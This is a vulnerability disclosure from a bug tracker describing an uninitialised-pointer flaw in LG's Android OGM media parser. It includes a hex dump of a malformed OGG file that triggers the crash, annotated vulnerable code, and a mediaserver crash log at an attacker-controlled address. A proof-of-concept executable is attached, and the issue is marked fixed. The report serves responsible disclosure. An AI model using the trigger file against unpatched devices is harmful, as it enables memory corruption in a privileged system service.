New issue
Advanced search Search tips
Starred by 1 user
Status: Fixed
Owner:
Closed: May 2017
Cc:



Sign in to add a comment
LG: Use of uninitialised pointer in OGMParser::VerifyVorbisHeader
Project Member Reported by markbrand@google.com, Feb 28 2017 Back to list
A malformed OGM file can cause the use of an uninitialised pointer during Vorbis header verification - vorbis_info_clear is called on a vorbis_info structure that has not previously been initialised by a call to vorbis_info_init.

This is caused by having an OGM file where the vorbis setup header appears before the vorbis identification header. A simple example to trigger the issue is the following:

00000000: 4f67 6753 0002 0000 0000 0000 0000 0000  OggS............
00000010: 0000 0000 0000 4141 4141 0139 f176 6964  ......AAAA.9.vid
00000020: 656f 4242 4242 4242 4242 4242 4242 4242  eoBBBBBBBBBBBBBB
00000030: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
00000040: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
00000050: 4242 4242 424f 6767 5300 0200 0000 0000  BBBBBOggS.......
00000060: 0000 0001 0000 0000 0800 0044 4444 4401  ...........DDDD.
            \/ this is the vorbis setup header type
00000070: 1e05 766f 7262 6973 4545 4545 4545 4545  ..vorbisEEEEEEEE
00000080: 4545 4545 4545 4545 4545 4545 4545 4546  EEEEEEEEEEEEEEEF
00000090: 4646 4646 4646 4646 4646 4646 4646 4646  FFFFFFFFFFFFFFFF
...
we need to pad the file out to 512 bytes otherwise the content sniffing will not attempt to sniff for OGM
...
000001f0: 4646 4646 4646 4646 4646 4646 4646 4646  FFFFFFFFFFFFFFFF

The vulnerable code appears to be something like the following:

int OGMParser::VerifyVorbisHeader(uint8_t* buf, uint32_t buf_len) {
  if (!this->vorbis_header_count) {
    // snip ... initialisation stuff
  }

  // snip ... initialise oggpack reading   

  uint8_t type = buf[0];
  switch (type) {
    case 1: {
      vorbis_info_init(&this->vorbis_info); 
      if (vorbis_unpack_info(&this->vorbis_info)) {
        vorbis_info_clear(&this->vorbis_info);
        return ERROR;
      }

      // at this point, this->vorbis_info is valid, or we failed to parse file

      // snip

      ++this->vorbis_header_count;
    } break;

    case 3: {
      // snip

      ++this->vorbis_header_count;
    } break;

    case 5: {
      if (this->vorbis_header_count == 2) {
        // snip
      }

      vorbis_info_clear(&this->vorbis_info); // <-- this->vorbis_info may not be initialised.
      ++this->vorbis_header_count;
      this->vorbis_headers_parsed = true;
    }
  }

  return 0;
}

See attached for an executable which (for me) fairly reliably triggers this condition accessing an attacker-controlled address.

Build fingerprint: 'lge/p1_global_com/p1:6.0/MRA58K/1624210305d45:user/release-keys'
Revision: '11'
ABI: 'arm'
pid: 434, tid: 2710, name: Binder_3  >>> /system/bin/mediaserver <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x4141415d
    r0 effb1598  r1 00000001  r2 ef96eb46  r3 efa07c00
    r4 41414141  r5 0000001e  r6 ef96eb40  r7 effb1598
    r8 effb1598  r9 00000000  sl f01f9966  fp f01f9470
    ip f01fbf18  sp f0400588  lr f01f5b31  pc f6985eac  cpsr 200f0010

backtrace:
    #00 pc 0000beac  /system/lib/libvorbisidec.so (vorbis_info_clear+20)
    #01 pc 00002b2d  /system/lib/liblg_parser_ogm.so (_ZN9OGMParser18VerifyVorbisHeaderEPhm+432)
    #02 pc 00003fe3  /system/lib/liblg_parser_ogm.so (_ZN9OGMParser11ParseHeaderEv+130)
    #03 pc 00004263  /system/lib/liblg_parser_ogm.so (_ZN9OGMParser4OpenEP11IDataSource+34)
    #04 pc 00023db5  /system/lib/libLGParserOSAL.so (_ZN7android14LGOGMExtractorC2ERKNS_2spINS_10DataSourceEEE+196)
    #05 pc 00022b03  /system/lib/libLGParserOSAL.so (_ZN7android15LGExtractorOSAL17CreateLGExtractorERKNS_2spINS_10DataSourceEEEPKcRKNS1_INS_8AMessageEEE+194)
    #06 pc 000c033b  /system/lib/libstagefright.so (_ZN7android14MediaExtractor6CreateERKNS_2spINS_10DataSourceEEEPKc+242)
    #07 pc 000d657d  /system/lib/libstagefright.so (_ZN7android28StagefrightMetadataRetriever13setDataSourceERKNS_2spINS_17IMediaHTTPServiceEEEPKcPKNS_11KeyedVectorINS_7String8ES9_EE+92)
    #08 pc 00058f85  /system/lib/libmediaplayerservice.so (_ZN7android23MetadataRetrieverClient13setDataSourceERKNS_2spINS_17IMediaHTTPServiceEEEPKcPKNS_11KeyedVectorINS_7String8ES9_EE+84)
    #09 pc 0008e273  /system/lib/libmedia.so (_ZN7android24BnMediaMetadataRetriever10onTransactEjRKNS_6ParcelEPS1_j+286)
    #10 pc 00019931  /system/lib/libbinder.so (_ZN7android7BBinder8transactEjRKNS_6ParcelEPS1_j+60)
    #11 pc 0001eccb  /system/lib/libbinder.so (_ZN7android14IPCThreadState14executeCommandEi+550)
    #12 pc 0001ee35  /system/lib/libbinder.so (_ZN7android14IPCThreadState20getAndExecuteCommandEv+64)
    #13 pc 0001ee99  /system/lib/libbinder.so (_ZN7android14IPCThreadState14joinThreadPoolEb+48)
    #14 pc 00023909  /system/lib/libbinder.so
    #15 pc 000100d1  /system/lib/libutils.so (_ZN7android6Thread11_threadLoopEPv+112)
    #16 pc 0003f9ab  /system/lib/libc.so (_ZL15__pthread_startPv+30)
    #17 pc 0001a0c5  /system/lib/libc.so (__start_thread+6)

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

 
poc
29.7 KB View Download
minimal.ogg
512 bytes Download
Project Member Comment 1 by markbrand@google.com, May 22 2017
Labels: -Restrict-View-Commit Fixed-2017-May-01 LVE-SMP-170004
Status: Fixed
Derestricting as this is fixed in the updated May bulletin.
Sign in to add a comment